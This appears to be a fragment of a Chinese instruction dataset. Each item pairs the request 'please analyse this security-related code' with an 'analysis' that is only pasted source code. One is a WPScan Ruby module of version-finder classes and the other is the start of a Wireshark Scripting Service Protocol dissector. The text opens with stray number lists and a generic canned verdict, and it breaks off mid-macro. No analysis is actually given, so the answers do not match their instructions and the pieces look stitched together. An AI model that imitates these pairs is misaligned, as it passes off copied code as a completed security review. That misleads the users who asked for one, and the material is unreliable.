1198,3869,3313,4060, 410,2211, 302, 590, 361,1963,   8, 204,  58,4296,7311,1931,  # 2774
  63,7312,7313, 317...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

# frozen_string_literal: true

module WPScan
  module Finders
    module DynamicFinder
      module WpItemVersion
        class BodyPattern < Finders::DynamicFinder::Version::BodyPattern
        end

        class Comment < Finders::DynamicFinder::Version::Comment
        end

        class ConfigParser < Finders::DynamicFinder::Version::ConfigParser
        end

        class HeaderPattern < Finders::DynamicFinder::Version::HeaderPattern
        end

        class JavascriptVar < Finders::DynamicFinder::Version::JavascriptVar
        end

        class QueryParameter < Finders::DynamicFinder::Version::QueryParameter
          # @return [ Regexp ]
          def path_pattern
            # TODO: consider the target.blog.themes_dir if the target is a Theme (maybe implement a WpItem#item_dir ?)
            @path_pattern ||= %r{
              #{Regexp.escape(target.blog.plugins_dir)}/
              #{Regexp.escape(target.slug)}/
              (?:#{self.class::FILES.join('|')})\z
            }ix
          end

          def xpath
            @xpath ||= self.class::XPATH ||
                       "//link[contains(@href,'#{target.slug}')]/@href" \
                       "|//script[contains(@src,'#{target.slug}')]/@src"
          end
        end

        class Xpath < Finders::DynamicFinder::Version::Xpath
        end
      end
    end
  end
end


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-scriptingservice.c
 * Routines for the Scripting Service Protocol, a load distribution application
 * of the RSPLIB RSerPool implementation
 * https://www.uni-due.de/~be0001/rserpool/
 *
 * Copyright 2006-2021 by Thomas Dreibholz <dreibh [AT] iem.uni-due.de>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/sctpppids.h>
#include <epan/stat_tap_ui.h>

void proto_register_ssprotocol(void);
void proto_reg_handoff_ssprotocol(void);

#define SSPROTOCOL_PAYLOAD_PROTOCOL_ID_LEGACY 0x29097604

/* Initialize the protocol and registered fields */
static int proto_ssprotocol     = -1;
static int tap_ssprotocol       = -1;
static int hf_message_type      = -1;
static int hf_message_flags     = -1;
static int hf_message_length    = -1;
static int hf_message_status    = -1;
static int hf_message_data      = -1;
static int hf_message_reason    = -1;
static int hf_message_info      = -1;
static int hf_message_hash      = -1;
static int hf_environment_u_bit = -1;

static guint64 ssprotocol_total_msgs  = 0;
static guint64 ssprotocol_total_bytes = 0;

/* Initialize the subtree pointers */
static gint ett_ssprotocol        = -1;
static gint ett_environment_flags = -1;

/* Dissectors for messages. This is specific to ScriptingServiceProtocol */
#define MESSAGE_TYPE_LENGTH          1
#define MESSAGE_FLAGS_LENGTH         1
#define MESSAGE_LENGTH_LENGTH        2
#define MESSAGE_STATUS_LENGTH        4
#define MESSAGE_NOTRDY_REASON_LENGTH 4
#define MESSAGE_ENVIRON_HASH_LENGTH  20

#define MESSAGE_TYPE_OFFSET          0
#define MESSAGE_FLAGS_OFFSET         (MESSAGE_TYPE_OFFSET   + MESSAGE_TYPE_LENGTH)
#define MESSAGE_LENGTH_OFFSET        (MESSAGE_FLAGS_OFFSET  + MESSAGE_FLAGS_LENGTH)
#define MESSAGE_STATUS_OFFSET        (MESSAGE_LENGTH_OFFSET + MESSAGE_LENGTH_LENGTH)
#define MESSAGE_DATA_OFFSET          (...